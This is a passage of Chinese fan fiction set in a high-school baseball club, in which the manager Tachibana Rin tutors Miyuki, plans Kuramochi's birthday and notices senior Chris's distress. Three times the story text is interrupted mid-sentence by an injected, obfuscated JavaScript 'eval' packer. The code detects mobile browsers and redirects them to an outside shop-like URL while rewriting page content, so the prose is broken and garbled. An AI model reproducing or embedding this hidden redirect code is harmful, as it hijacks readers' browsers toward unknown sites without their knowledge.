“还好,九点半而已。”棕发女孩头也不抬地说话,“我家就住这儿附近,你有什么事吗?” “……”御幸挠了挠头。 什么什么事,怎么搞得这里像她的办公室一样。 “我忘拿东西了。”御幸走到橘铃面前,顿了顿,“你在看白天的记分册?” 橘铃在记分册上勾画着,一会儿才答道:“我和学姐的记分方式不同,我要规整一下,很快的。” “很快……”御幸抬头又看了一眼墙上,确实是九点半。 这些事明明可以明天再做。 而且,橘铃额头上的红肿分外醒目。 御幸本想装作没看见,但忍了半天,他还是问道:“你还好么?” 下午明明看见她回到板凳区了的,等比赛结束她又不见了踪影。 仓持去了医务室,佐藤医生却说她早就离开说要去看比赛。 没想到晚上在这里能看见她。 “我吗?”橘铃还是没有抬头,笔停留在纸上,“我挺好的。” “是么。”御幸不知道说什么了,他揣着裤兜走向橘铃后方,他的眼罩忘记拿了。 果然他的眼罩在晚上吃饭的地方静静呆着,御幸拿上眼罩又从橘铃面前绕过去,准备离开。 他的手按在门把手上,犹豫再三,他还是说了句:“早点回去吧。” 这下橘铃抬起了头。 她合上笔盖,认真说道:“御幸。” 准备迈出食堂的御幸脚步一滞,他回头,橘铃正看着他,她的眼里有某些让他害怕的东西。 “怎么了?”装作不在意,他说道。 千万不要是奇怪的事情,求求了。 橘铃说:“我们是朋友吗?” “?”一个奇怪的问题。 这要怎么回答?御幸挠了挠脸,慎重说道:“怎么了,问这种问题?” 橘铃再次重复道:“我们是朋友吗?” 沉默。 御幸不知道橘铃想从他这里得到什么样的答案,保险起见,他说:“是吧……?与其说朋不朋友,我感觉我们更像是队员和经理之间的关系。” “是吗?”橘铃不再看他,合上手中的记分册,“那你去找别人给你补习吧,反正经理是不会帮队员补习的,这不在服务范围内。” “总是打瞌睡的人也试试努力学习一下?棒球这么有天赋,学习应该也不差吧?” “……”原来在这里等着他啊,他皱起八字眉,举手投降,“是,怎么不是,我们当然是朋友!” 教练和学长们三申五令进入一军后想要上场比赛就不允许挂科,就算是御幸也有一两科吃力,而同班又是经理的橘铃自觉地担当起了给他们两补习的重任。 于这件事来说,他是真的很感激橘铃。 想到这里,御幸头疼地扶了扶额,是不是他做的太过分了? “所以呢,你说这个是为了什么?” 御幸说道。 “好奇。”橘铃说,“你最近是不是在躲我?” 糟糕,果然是有点太明显了吗?御幸心里默默叹气,面上不动声色:“没有啊?你是错觉吧?” 橘铃站起身,嘴角噙着一抹微笑:“那应该是我感觉错了,差点就要伤心好一阵,还以为自己被讨厌了。” “呵呵……”御幸说道,“没有。” “没有就好。”橘铃似是准备离开,“顺带一提,你选眼罩的品味实在是太差了。” 很差吗?御幸看了看自己手里的搞怪眼罩,越看越觉得欣赏:“这不是还行吗?” 等等,她怎么知道自己眼罩长什么样?御幸抬起头,橘铃正好走过他身边。 “晚安,御幸。我,的,朋友。” 8. 契机 开门的爸爸失望地说道:“我还以为会有人送你回来,那个眼镜这么不上道就算了,小洋又是怎么回事?” “……”橘铃白了爸爸一眼,关上门。 “人家叫御幸,御幸一也。” “管他是御幸还是美雪,都十点了,他们竟然真的放心你一个人回来,高等学校的棒球部就是这样的吗?” “好了好了,你别说了。”橘铃拉下板凳坐下,“我们家这么近,要送我我还嫌麻烦呢。” “再说了今天是我自己要留的。” 爸爸不再吭声,但从他那摇头晃脑的动作中明显看出来他的不满意。 橘铃本来打算装看不见,她回着line上的消息,迟疑想到,自己好像还没加到御幸的line。 “哎。” 橘铃假装没听到,退出line,打开了相册。 在最后走出食堂的时候,她突然叫了声御幸,御幸懵逼地抬头,她拍下了两人的第一张合照。 橘铃放大照片,御幸那吃惊又疑惑的表情让她非常满意,而前面自己的脸也非常完美,那额头的包刚好没有入镜。 很好,非常不错。 “哎。” 旁边的老年人又幽幽叹了一口气。 橘铃放下手机,无可奈何地说道:“你想说什么?” 见女儿终于有了反应,爸爸一改颓废的样子正色道:“我想跟你商量个事。” 橘铃兴致缺缺地说:“你说吧。” “现在不是五月了吗?”爸爸说,“我和你妈妈商量了一下,马上要到小洋的生日了,他训练辛苦也不能回家,干脆我们给他过吧。” 小洋的生日? 好像还真是。 之前两家是邻居,过生日的时候总会凑在一起,一起过生日已经成了两家的习惯,当然青春期以后这件事总是会被各种各样的事搁置。 不然就是橘铃要和朋友过,不然就是仓持不想过,诸如此类。 再接下来,他们就搬到东京了。 “没问题,我给他说一下。”橘铃说,“在哪里过啊?” 爸爸笑眯眯地说道:“当然是在我们家啦!家里好久没热闹了,好怀念,我和妈妈都特别期待。” “我们家吗。”橘铃环视一周,家里看起来不奇怪还挺温馨,她点头道,“好啊,我去给他说。” “等等!”爸爸忽地凑过来,“你这额头怎么回事啊!” 橘铃没好气地说:“你才看到!是不是亲爹啊。” 爸爸伸出手试探地碰了一下,被橘铃一下打掉:“你干嘛呢!” 爸爸转头叫道:“孩子他妈,你女儿被人打了!” “????”橘铃眼睛瞪的溜圆,“瞎说什么呢!这是我摔的!!” ** “铃。” 刚下课,一个人影便在她桌边站着,仓持眉毛扭成一团:“你还好吗?” 喔,橘铃后知后觉地想起来,忘记回line了。 “很好。”橘铃笑了笑,指了指自己的额头,“你看我的脸色,还有这里,是不是什么都看不出来了。” 她扭了扭夹在那里的兔兔狗发夹:“只要不碰,就完全不痛,没问题的。” 仓持的眉毛皱的更深:“痛?你晕倒以后还摔了吗?” “嗯?”橘铃无辜地看着仓持,“对啊,你不知道吗?哇等等,你别这样,又不是你的错,收收你的表情,你看旁边的同学以为你要揍我了!” 仓持好不容易才收住了自己那不良少年般的表情,他再次确认道:“你真的没事吗?” “没事啦。”橘铃掀起发夹,示意仓持看看她额头上那个可笑的包,“看起来很吓人是吧?很快就会消了。而且我这种不爱运动的人,昨天没怎么吃饭,偶尔低血糖晕倒一次不碍事的。” “你们这种一顿要吃三碗饭,高强度训练的人就不会有这种烦恼了。” 她不爱运动,能坐着绝不站着,能躺着绝不坐着,跑两步就气喘吁吁的事情,大家从小就知道。 仓持这才勉强被她说服,他侧身靠在桌子上,低声说道:“没事就好。” “专门来关心我啊?”橘铃托着脸,笑眯眯说道,“没有别的事吗?” “……不能关心吗?”仓持还嘴道。 橘铃点头:“当然可以,小洋还是一如既往的细心。对了,你过来。” 什么? 仓持不明所以地低下头。 橘铃用手挡住嘴,小声说道:“马上你不是要过生日了,我爸爸妈妈说,到时候你来我家我们给你过生日吧~那天要上课,不知道占用你晚上自主训练的时间好吗?但是周末你们也不休息吧?” 仓持已经全然愣在了原地。 小时候的回忆忽然涌上心头,那些两家人一起过生日的画面还历历在目,在和铃重逢后,那些埋在心里的记忆也会一一重现。 能在这里和铃相遇实在是太好了。 橘铃用手戳了戳仓持:“喂,你怎么不说话,你最近怎么总是发呆?训练太狠了?已经吃不消了吗。” 仓持顾不上回嘴,他说:“好,哪天都可以,你们方便就行。” 真是客套的发言。 橘铃心想。 是因为和爸爸妈妈太久没见面生疏了吗?她接着说道:“这么重要的是当然由寿星来决定,我觉得当天最好啦。到时候七点吃晚饭的时候和教练说一下,应该耽搁不了很长时间。” “好。”仓持双手赞同,他没有任何意见。 他还想跟铃多说会儿话,但是不识趣的人已经挤了过来。 高桥由衣毫不识趣地在两人中间插入一只手,神态自若地挤了进来:“好了好了,约会时间结束,现在该我了。” “什么叫约会时间,别瞎说。”不听橘铃的埋怨,高桥由衣挤在仓持面前,对着仓持做了一个请的动作。 “……”仓持只好回到了座位上。 “喂,你们刚刚在说什么啊。”高桥由衣贼兮兮地凑在橘铃耳边,“我看仓持那春心萌动的样子,不得了啊。” “………………” 橘铃没忍住翻了个白眼:“由衣,你不要瞎说好吗,我们只是正常的聊天!你这样说会让我们很尴尬的!” “切,真是没意思。”高桥由衣直起身子,啪啪按着手里的手机,她又像是想到了什么一样,“昨晚你发给我的照片实在是太差劲了!我还以为是你的自拍和某个路人呢。” 她说的是自己的御幸那个合照吗? 橘铃脸上维持着无懈可击的笑容:“我的脸够完美不就行了,而且第一张合照要那么亲密干什么。” 高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088394|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥由衣冷笑一声,从自己的手机里选了一张照片,放大给橘铃看:“这是我跟小林学长的第一张合照。” 两个人手挽手,脸上羞涩地笑着。 “你们谈恋爱才拍第一张合照吗,太晚了吧。”橘铃摇头。 高桥愤怒地收回了手机,她说:“之前我就想说了,铃你长成这样实际也没有谈过恋爱吧!恋爱的脑子和你学习的脑子简直成反比。” “我喜欢帅哥,之前都没有入过我眼的帅哥。” “那个黑框眼镜哪里帅了!” 橘铃想了一下:“我觉得还行。” “你仔细看看呢。”高桥由衣压低了声音,“你看那个被抽走了魂魄的御幸一也,他真的帅吗?” 橘铃小心翼翼地往右后方看去,在课间,御幸一也端坐在座位上,发呆地看着桌上的课本,那反光的黑框眼镜遮住了他的脸,也没遮住他那发呆的样子。 两人对视一眼。 “帅吗?”高桥由衣说,“看起来不太聪明的样子。” 确实。 但是。 橘铃回想起他穿着青道队服,带着防风镜,球场上果断的样子,说:“挺帅的啊。” 那嘴贱的样子也很有趣。 高桥由衣狠狠说道:“他那副眼镜应该借给你带才是。” “不用了,我眼睛好着呢。”说着,橘铃站起身,椅子发出吱呀的声响,她径直走到了御幸面前。 橘铃在他面前站了好一会儿,御幸才呆呆地抬起头,缓慢道:“怎么了?” 这孩子,是已经被上节的数学课给弄傻了吗? 橘铃满眼怜悯地看着御幸,抽起他桌上的课本,稍微翻了一下:“全白啊。” “……”御幸仿佛才回神,他拿回自己的课本,笑了一下,“哎呀,感觉几节课没听,就完全看不懂了,数学还是比棒球难多了啊。” 对于此话,橘铃非常不赞同地摇了摇头。 御幸的目光扫过橘铃的额头,在兔兔狗发夹上顿了顿:“你那里还没好吧?” 橘铃闻言碰了碰额头上的包,咧了咧嘴:“哪里有这么快,只能这样挡挡了,我可不想跟每个人解释一遍我怎么了。” 御幸煞有介事地点头:“确实,不然别人就会问你是被棒球砸的吗,说当经理确实比练习棒球更危险。” ? 冷笑话吗?橘铃抿住嘴,没差点笑出声,这是什么东西啊。 这男人时不时蹦出这种类型的话,真的非常有意思。 “那么,橘。”御幸若无其事地说道,“你特地过来找我,不会是专门来嘲笑我的吧。” 大家的目光好像有点聚集过来了,虽然身为棒球部经理,但是作为班上引人注目的优等生,这样找异性说话还是有点麻烦。 如果能跟他有独处时间就好了。 “我是想说,反正也要快考试了,不如找个时间,我帮你把这几门课全部补习了。”橘铃指了指御幸桌上堆在一起的书,补充了一句,“还有仓持。” “我还以为你的魂魄都被数学吸走了。” 期末考试还有段时间,想想接下来只会越来越高强度的比赛,御幸痛苦地闭上了眼睛。 逃避是没有用的。 他睁开眼,看着面前乱七八糟的课本,说道:“那拜托你了,橘。” 9. 克里斯 今天的天气好似比昨天要好一点,再怎么说五月持续高温太夸张了。 温度一降下去,橘铃的心情就会好一点,简而言之,是活过来了。 她拿着之前整理好的记分册走到记分室,记分室的房门敞开着。 有人在里面吗? 橘铃透过门缝看了一眼,克里斯学长正坐在里面。 看记分册最勤的除了负责记录的橘铃就是克里斯了,作为正捕,他的责任心非常强烈。 “哈喽,克里斯学长。”橘铃推开门,克里斯好像猝不及防,他抬眼看了橘铃一眼,橘铃的动作微微一滞。 如此悲伤痛苦的表情。 是发生了什么事吗? 就在下一秒,克里斯的表情就恢复了正常,他温和地冲橘铃笑道:“辛苦你了,橘。” 不想让别人知道的事情。 橘走到克里斯的身边,递出记分册,偷偷观察着他的表情:“克里斯学长,我整理好了,最近的比赛都在这上面了。” 要问吗?会不会太冒昧了,虽然克里斯学长很平易近人,但橘铃觉得自己和克里斯之间的关系还没有到那种地步。 克里斯已经开始认真地看新的记分册了,橘铃站在他身边,心里天人交战着。 “怎么了?”克里斯似乎注意到橘铃奇怪的样子,他抬起头,“你的表情怪怪的。” 怪怪的?橘铃摸了摸自己的脸,克里斯的眼神一如既往的温柔,显得刚刚那悲伤的表情更为痛苦。 “克里斯学长,你还好吗?”橘铃小心翼翼问道。 克里斯表情没什么变化,他说:“怎么了,突然问这种问题?” 果然,克里斯学长并不打算说,她是冒昧了。 橘铃说:“不,没什么,那我就先走了哦。” 克里斯是一个很好的学长,在经理工作上他帮了橘铃很多忙,在这种时候,她也会想要帮上学长的忙啊。 “你的表情怎么怪怪的。” 橘铃抬起头,御幸站在自动贩卖机之前,他手上拿着球棒。 今天看来是打击的自主训练。 “没什么。”橘铃难得心情沮丧,她绕过御幸,站在自动贩卖机前,漫无目的地开始看里面的饮料。 原本只是随口一问的御幸,看见橘铃这个态度稍微收敛了笑容,他语气正经了点:“看起来是比头上的包还严重的事啊。” 这男的哪壶不开提哪壶。 橘铃刮了他一眼,心思又回到了饮料上,都是一些喝腻的饮料,随便选一个吧。 她选中了新出的超甜桃子味饮料,抬眼发现御幸还在旁边。 御幸双手抱胸靠在自动贩卖机旁,认真看着她。 是在等她说话?橘铃不知怎地耳朵有些发烫,刚好饮料哐一声掉了下来,她捡起来,语气尽量不在意地说道:“克里斯学长……” “克里斯学长?”听到了意想不到的名字,御幸在意了起来。 不对,就这样说出来不好吧? 克里斯学长不想任何人知道,就算是这个非常尊敬他的优秀学弟,告诉更多人也只是平添麻烦。 “啪。”她拧开易拉罐口,张了张口,又是诡异的沉默。 糟糕,不知道说什么了。 御幸等了一会儿,见橘铃还是没有开口,他歪了歪头:“不想说吗?” 橘铃摇了摇头:“没什么,可能是我多心了。” 再观察一段时间再告诉他吧。 橘铃啜了一口饮料:“对了,我们之前说补习的事情,从什么时候开始比较好?虽然离期末考试还有一段时间,但分散开来会比较好。” 御幸挠了挠脸,试探说道:“这个时间要和仓持商量一下吧,他没空的话没办法。” “喔,这个事你不用担心。”橘铃笑眯眯说道,“你们两进度完全不同,分开才是对你们最好的选择。” 无懈可击的理由。 橘铃瞟了一眼御幸,又很快收回视线,手指蹭着易拉罐的瓶身,等待着御幸的回答。 御幸皱起了眉,似是有点纠结,但如同橘铃所料,他还是妥协道:“我都可以,你方便就好。” “那不然就明天吧?”橘铃心中暗暗yes,“期末周我也会很忙,现在比较好。” 御幸点了下头:“那就明天吧,走了。” 他挥了挥手,拿着球棒走向球场:“早点回家。” 橘铃不由自主地追寻着他远去的背影。 御幸稍微偏了一下头,似是要回头,橘铃忙拿起饮料,她的上唇沁在气泡水里,气泡轻微地在她唇边炸开。 他并没有回头。 橘铃脸颊开始慢慢发烫,待到饮料全部咽下,她用易拉罐紧紧地贴住自己的脸颊。 是天气太热了吧? “橘,最近真是辛苦你了。”高岛礼在去教练办公室的路上看见了还没走的橘铃,“这几天都待到这么晚。” “没什么,帮学姐分担也是学妹该做的一部分。”橘铃谦虚道。 现在已经没什么事了,球队的重心都在一军的训练上和背号的争夺上,先发固定是二三年级的学长,一年级的小鬼就算进入一军也是替补的份。 学姐们为此很是紧张,她们要观察大多数部员的状态以及统筹安排后勤事务,除了橘铃以外其他一年级经理做的都是些简单的事情。 而且她回家也没什么事情,不如在棒球部消磨时间,最近也没有什么竞赛。 高岛礼推了推眼镜:“克里斯说你帮了他大忙,你做的记分册非常清楚,让他更掌握球队情况了。” 对,克里斯学长。 刚刚克里斯的表情一直在她心中挥之不去,如果是高岛老师,会好些吗? “高岛老师刚刚才见过克里斯学长吗?” 高岛礼对她这个问题感到奇怪:“啊,是的,我们刚刚见过。” 要说吗? “那……”橘铃咬了咬嘴唇,艰难吐出,“克里斯学长怎么样?” “怎么样……?”高岛礼疑惑道,“他跟平时一样,有什么事吗,橘?” 说不出口。 “没……我感觉他有点奇怪,应该是我的错觉吧。”橘铃重新露出笑容,“我要准备回家了,再见,高岛老师。” 高岛礼担忧地看着橘铃:“你最近是不是太累了?还是要多注意自己的身体啊。” “谢谢高岛老师,我会的。”橘铃点头道,她像是想到了什么事,又补充道,“对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088395|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,高岛老师,御幸是不是叫你小礼啊?” 高岛礼一愣:“是,他确实这么叫。” “那我也可以吗?”橘铃指了指自己。 高岛礼无奈一笑:“当然可以了,你们爱叫就叫吧。” “拜拜,小礼,我回家了。”闻言,橘铃露出开心的笑容,“你也早点回去哦。” 看着少女离去的身影,高岛礼喃喃道:“克里斯怎么了吗?” ** “喂,御幸。”仓持扛着球棒走到御幸身边,“今天铃跟你说什么了啊。” 御幸看了眼仓持:“那么在意不如去问本人?” “……你小子。”仓持语塞,“你是在记仇吧。” “没有啦。”御幸拿着球棒一挥,破空的声音清晰地出现在两人耳边。 “不过啊,仓持,分心的话可是会被别人追上的。” “有很多人都在盯着你,稍微一退步,可能就再也回不来了。” “我知道。” 仓持当然明白,好不容易争取来的机会他不会拱手让给别人。 但是这个事不一样。 “你有line么?” 御幸挥棒的动作一顿,他慢慢转过头,黑框眼镜反着光,他语气微妙地说:“你这是在要我的联系方式?” “啊?朋友之间加个联系方式不是很正常吗?”仓持的表情差点裂开,“你这语气是什么意思?” “我没有line,邮箱倒是有。” “什么老年人啊。”仓持低声吐槽着,“今天铃给你说的是补习的事吗?” “嗯是的,她说明天给我补习。”御幸回答道。 “明天?给你补习?”仓持重复了一遍,“我不一起吗?” 御幸又停下了挥棒的动作,他说:“刚刚橘说,我们两进度不一样,一起会耽搁时间,所以要分开补习。” “噢,这样。”仓持没说什么。 “我刚好碰到她,她就这么给我说了,可能还没来得及给你说。”御幸补充了一句。 仓持没接话。 他站的离御幸远了一点,狠狠挥出了手中的球棒。 “轰——” 哇,可怕,怕不是个全垒打。 御幸悄悄哂了一下,决定装作什么都不知道。 让橘自己去解决吧,他审视着自己的行为,没觉得有什么问题。 要拼练习的话,他是不会输给同为一年级的仓持的。 “他们两个什么情况?”二三年级的学长在一旁看着两个开始疯狂挥棒的男人,摸不着头脑,“气势很惊人啊。” 小凑亮介在一旁说道:“嗯~我还以为他们两吵架了,这不是挺好的吗?” “吵架?”东学长毫不客气说道,“有空吵架不如多练习,一年级的进入一军可别以为大事万吉了。” “哲,这些一年级有你一半的魄力我都谢天谢地了。” 结城哲也完全没听进东学长的话,他忽地手往前按,做了一个下将棋的动作。 “……”小凑亮介说,“克里斯,你觉得他们怎么样?” 被点名的克里斯眼中划过一丝落寞,他看着御幸,那个一年级捕手,说:“还需要加强练习啊。” 10. 补习 “你今天心情不错啊。”高桥由衣一张大脸贴了过来,橘铃不由得往后靠去。 橘铃不知道高桥由衣从哪里得出来的这个结论,她普通地上着课,普通地坐在座位上,和往常一样。 于是她真诚地说道:“我每天心情都不错。” 高桥由衣对橘铃的话嗤之以鼻,她拖开前面的凳子坐下:“棒球部好玩么?” “还行。”橘铃答道,持续地在手中的书上勾画着。 虽然书上的内容她早已滚瓜烂熟,但是要给别人补习,她还是得再看看。 高桥由衣喜滋滋地说:“吹奏部的学姐们说,表现得好可以就可以在夏季比赛中上场吹奏诶!” 参观完棒球部后,高桥由衣反手提交了吹奏部的入部申请,理由是自己有过这方面经验。 “经理的话是坐在观众席吧?到时候我们可以挨在一起,好期待,我还没有看过甲子园预赛。” “如果我不是记录员的话可以。” “记录员?那是什么东西?”高桥由衣疑惑道。 “就是和队员们一起坐在板凳区的记录员。”橘铃说,“我最近有在做记录的工作。” “不愧是铃。”能够参加数学竞赛的优等生就是要出色一些,高桥由衣撅起了嘴巴,不甘心地说道,“你不在观众席的话,我都不想去了。” “你被选上了也是去工作的,我们说不了几句话,在观众席可以看你最喜欢的帅哥们打球,挺不错的。”橘铃嘴上回着,手里又翻过几页。 很好,御幸吃力的几门课她都完全清楚了。 高桥由衣兴致缺缺地摇了摇头,手里的手机仿佛也没了兴趣,她拽过橘铃手下的书:“从刚刚开始你一直在写什么呢,前几课的内容?这些对你来说应该很简单吧?” 橘铃不打算瞒着她:“我要给别人补习。” “哈?”高桥由衣还以为自己听错了,接着她像想起了什么,一下没了表情,“棒球部的是吧?又要开始补习了吗,离考试可还有一段时间。” 橘铃接过高桥由衣还给她的书,笑笑没说话。 “我也想你给我补习呢。”高桥由衣嘟囔着,“能让优等生补习可是求之不得的福气。” “我有空的话也会给由衣补习的。” 高桥由衣看起来心思不在学习上,成绩还是意外的不错。 对此她说人总是要有一个优点的。 “啊。”高桥由衣一拍手,“难道说,你今天高兴是因为这个事吗?给那两个男生补习。” “才不是。”橘铃下意识反驳道,“我说了我每天都挺高兴的。” 而高桥由衣根本没听她的话,自顾自地说了下去:“和两个男人独处,小房间,补习,好幸福。” 什么乱七八糟的。 上课铃恰好响起,面前这个叨叨的女人终于离开了。 橘铃翻开这节课的书,偏过目光落在身后的御幸身上,又很快收回。 高兴吗?不如说是……期待吧。 ** 晚饭过后,御幸走到了橘铃面前:“ 橘,我们什么时候开始补习?” 周围的人静了一下。 所有人张大了嘴巴,仓持暗自“嘁”了一声。 橘铃瞪大眼睛,没想到御幸就这么自然地当着所有人的面说了出来。虽然是一件很正常的事,怎么现在看起来这么奇怪! “……”橘铃说,“等你训练收拾完?” “啊?不会太晚了吗?你还要回家吧。”御幸说。 “话是这么说。”橘铃扫视了一下穿着常服的御幸,那亮闪闪的橘色,上面还有一个大拇指,她嘴角抽了抽,“我才不想跟一身汗味的人呆在一起。” 这件衣服,是什么样奇怪的审美!! “喔!”有学长开始起哄,“竟然有橘帮忙补课,御幸你小子不错啊,仓持呢,你们不是一个班的吗,怎么把人家甩下了?” 大家的目光齐刷刷地聚集在三个人身上,在他们地目光中,他们三周围形成了一个真空间。 橘铃忙挥手道:“没有,我们是轮着来着,明天就是仓持了。” “喔~”学长们发出意味不明的声响。 “要是我当时也有同班的经理帮忙补课说不定就不会挂科了。” “想的美,你那木鱼脑袋补了课也会挂科。” 在一片欢声笑语中,橘铃用手挡住了眼睛。 她完全没想到会变成这样。 御幸提起自己的衣服闻了闻:“汗味?我怎么不觉得?” 而橘铃偷偷冲仓持比了个抱歉的手势。 希望小洋不要生气,她这样擅自安排他的时间。 仓持当然不会生气,他那点不爽也因为橘铃的动作消散了。 “那我们在哪里补习?食堂吗?”御幸又问道。 食堂确实是个好地方,训练完后是不会有人来的,但是这时候,三年级经理们说道:“今晚阿姨们要对食堂大扫除,这里用不了。” 那还能去哪里?教室?图书室?不,这个时候都已经关门了。 “记分室怎么样?”她问道。 最后的地点就定在记分室。 学长们还想起哄两句,但两人的表情实在是十分坦荡,他们只得悻悻地走了。 打发无所事事的练习时间,橘铃还是选择了跟在克里斯屁股后面。 她的借口是拿着一个笔记本说要多加学习,实际是在观察克里斯的状态。 但等到御幸来找她,她也没看出克里斯和以往有什么不同。 橘铃挫败地跟在御幸身后去了记分室。 比起白天的热闹,室外黑乎乎的一片,只有御幸拖动椅子的声音在房间里回荡着。 “不开灯的球场看起来有点恐怖呢。”橘铃站在桌边,往外望去,“总感觉会有人忽然贴在窗户上……” 话音刚落,外面的玻璃哐地响了一下,橘铃吓得差点跳了起来,她立马拽住御幸那丑陋的橘色衣服,叫道:“吓死我了!” 御幸无奈道:“是风……你是来补习的还是讲鬼故事的?” 自己这个样子太丢人了! 橘铃扔掉捏在手中的衣服,镇定自若地拿出带来的课本,义正辞严地说道:“数学、英语、国文,你想先补哪个?” 御幸拖开另一个板凳坐下,或许又是因为窗外的风,一股清新的味道扑鼻而来,让橘铃稍稍分了心。 这是他洗发水的味道吗? 说起来,他们两好像从来没靠这么近过。 橘铃用手撑着脸,偷偷斜过眼睛瞟着御幸,御幸好像犯了难,他皱紧眉头盯着前面三本书。 鼻子挺翘的。 橘铃心里点评着,眼睫毛挺长的,棕色的眼睛也很好看,头发看起来软乎乎的。 “那就数学吧。”御幸抽出数学书,转头恰好和橘铃的目光对上,他放书的动作慢了下来,橘铃垂下眼帘,不动声色把脸转了回去。 “今天老师上课讲的你听懂了吗?” “上课讲了什么?” “你真是。”橘铃翻了个白眼,拿过数学书,“又打瞌睡去了,小心我给片冈教练告状,剥夺你一军的身份。” “喏,你看,这节课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088396|195410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相当于上节课的延伸,上节课讲的这个你还记得吧?” 橘铃熟练地翻到上一页,她嘴里念着公式:“那么这节课其实就是这个公式的另一种……” 好近。 御幸微微往左边远了一点,从他这个角度,他刚好能看到橘铃的侧脸,和她那拿着笔飞快勾勒着的手。 和他不同的是,橘铃完全不像锻炼过的人,她皮肤光洁,就算和她身高的相同的小凑学长,看着比她强壮健康许多。 难怪会晕倒。 脑子倒是挺好使,听克里斯学长说,她在学习配球方面也很有天赋,如果打棒球的话,也许会是个好捕手吧。 成绩这么好的人,怎么不去好点的学校呢? “御幸。”少女的声音在耳边响起,御幸下意识回答:“嗯?” “你有在听我说话吗?”橘铃睁大眼睛,用笔在书上点了点。 “嗯,啊,我在听啊。” “是吗。”不由分说,橘铃把笔塞到他的手里,两人手指相撞,“你说这道题怎么写?” 她的手好冷,明明是夏天。 课本被推到了他面前,御幸看着面前的题,开始沉默。 “果然。”橘铃呵呵冷笑两声。 “你在走神吧,就跟你上课一样。” “不,我有在听。” “那你把这道题写出来啊。” 不算难的题,如果听了她刚刚的话,一定可以写出来。 只有他们两个还能走神,他在想什么呢? 橘铃用手指蹭着下巴,看着御幸在书上写写停停。 “是这样么?”把书推过来的时候,御幸顿了顿,”抱歉,这是你的书,我就这样写在上面没关系吗?“ “没关系,对我没什么影响。”橘铃扫了眼御幸写下来的解题,语气惊异,“你竟然做对了。” “所以我说了我有在听。” “不过这个这样更好一点哦。”橘铃划掉他写的一小段公式,在旁边重写着,“你看,这样是不是一下就出来了。” “确实。”御幸完全想不到,这个人脑子到底是怎么长得才会这么擅长功课? “是吧,很简单对吧?我们接下来再来做这道题,会更难一点。” 这次好像听进去了,没看见他在发呆了。 果然是要更难一点,御幸思考的时间明显变长,他的手指开始在在桌面轻轻叩击着。 这令橘铃想到了刚刚他们两手指相碰的地方。 老实说,她什么也没感觉出来,只觉得御幸皮肤温热,两人的手指很快分开,但那块相碰的地方好像被他染上了温度,一直热热的。 她不由自主地摸了摸那一小块皮肤。 “我做对了吗?” 御幸出声打断了橘铃的思绪,她接过课本,半天没有评价。 御幸看向她的脸:“我做错了吗?” “不。”橘铃摇头,“或许你比我想的更聪明。” “…………呃。”御幸挠了挠头,“这是夸奖吗?” “当然。”橘铃翻开下一页,“能被我夸奖,这可是你的荣幸。” “是是。”他没听出来哪里像夸奖了。 “那我们的进度可以稍微提一下了,你这么聪明,考试应该不止低空飞过了。” “……这真的是夸奖吗?”像是想起什么,御幸说道,“那仓持呢?” “他啊?”橘铃露出意味不明的笑容,“看他的造化了。” 远处的仓持没由来打了个喷嚏,他望向那亮起灯的记分室,嘟囔着:“这么晚了,还没补完吗?” 11. 私谈 “你们还没弄完吗?” 记分室的门被打开,仓持伸了个脑袋进来。 来的真是时候。 御幸恰好站起,橘铃正在在整理书,闻言她抬起头:“你怎么来了?” “十点了,我过来看看。” 御幸走向门口,摇头道:“才一个小时,感觉自己的大脑都被抚平了……” “看来你学的不怎么样嘛。”仓持嘿嘿一笑,侧身让御幸出去,两人的动作同时一顿。 门背后跟着一群学长。 见被发现,为首的伊佐敷丝毫不觉得难为情,他那洪亮的大嗓门叫着:“御幸,你这小子就准备走了吗?” “不然呢。”御幸无辜地看着那一群虎视眈眈的学长们。 好,几乎所有学长都跟在这里了,连他觉得最不八卦的哲学长和增子前辈混入其中,最后面前园和白州的身影若隐若现。 这群人到底是在看什么热闹。 “经理好歹是在给你补习,你送一送人家回家。”伊佐敷还在持续发力。 “我送?”御幸指了指自己。 “难道我送吗?”伊佐敷反问道。 仓持举手:“没事我可以送。” “御~幸~” 东学长浑厚的声音在人群后面响起,他迈着粗重的步子走到面前来,面对面冲御幸叫道,“经理是帮你补习!你作为青道男人的担当呢!” “那个……”橘铃弱弱地从两个男人身后探出头,“我可以自己回去,我家就在旁边。” 当然是被拒绝了。 两人往外走去,身后留着一群目送他们的人。 川上安慰着头上长着蘑菇的仓持。 “抱歉,御幸。”橘铃将一缕碎发撩到耳后。 她为什么要道歉?是觉得麻烦他送她吗? “没事,你帮了我,这是我应该的。”御幸双手插着兜,与橘铃并肩走着,“练习和学习之后难得的休息时间。” 